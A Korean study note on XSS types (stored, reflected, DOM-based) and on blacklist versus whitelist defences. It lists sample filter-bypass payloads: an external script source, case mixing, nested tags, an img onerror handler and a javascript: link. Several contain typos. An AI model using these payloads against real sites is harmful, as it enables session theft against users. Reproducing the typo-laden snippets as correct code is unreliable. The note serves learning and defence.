XSS 정리
XSS : 클라이언트 측 스크립트 삽입 공격
Stored XSS : 게시판 형태에서 주로 일어난다.
Reflected : GET Method를 사용해야 하고 URL 링크를 전달하는 방식
DOM Based XSS : Reflected와 비슷하고 다른 점은 Reflected 와는 응답 내용이 다름, 자바스크립트로 html 조립 가능
/#test 을 요청하면 #뒤에는 주소에서는 남아있지만 서버로는 전달이 안됨
/test1#test2 이 프래그먼트에서도 자주 일어난다고 한다.
XSS 대응하는 법(블랙리스트)
블랙리스트 기반 필터링 : 특정 단어를 못 들어오게 하는 것
우회가 될 가능성이 존재한다.
ex) 외부 스크립트를 가져와서 로드해서 우회 가능 <script src=”http://외부 사이트. com/xss.js>xss</script>
ex) ScRipT 대소문자 섞어 사용
ex) 스크립트 단어 필터링의 경우 우회 <scrscriptipt> -> <script>
ex) 스크립트 단어 바꾸는 경우 <xript> 이미지 태그 사용 <img src=x onerror”alert(xss)”>
ex) Event Handler 사용 onload, onclick, onmouseover …
ex) 앵커 태그 사용<a href=”javascirpt:alert(1)”></scirpt>
ex) < > 필터링 당하는 경우 자바스크립트 태그 안에서 xss 발생하면 <> 이런 거 사용 안 해도 됨
ex) input 태그 안에 이벤트 핸들러 사용 onload, onclick, onmouseover
XSS 대응하는 법(화이트리스트)
화이트 리스트 기반 필터링 : 특정 단어만 들어오게 하는 것
<‘”> 이 기호들에 HTML Entity 사용하면 대부분 막을 수 있음
안 통하는 곳 html 에디터 잘 일어날 수 있음
html 에디터를 굳이 사용해야 하는 경우
1. 파라미터에서 html 특수문자들을 전부 html Entity로 치환
2. 허용해 줄 태그들을 식별하고 그 태그를 다시 살린다.
3. 살려준 태그 내에 악의적인 이벤트 핸들러가 있는지 (블랙리스트 기반) 필터링해서 제거해 준다.
자바스크립트 동작에는 어떤 것이 있는지
페이지 리다이렉트 location.href, location.replace
주소창 변조 <scirpt> history.pushState(null, null, ‘test’) </scirpt>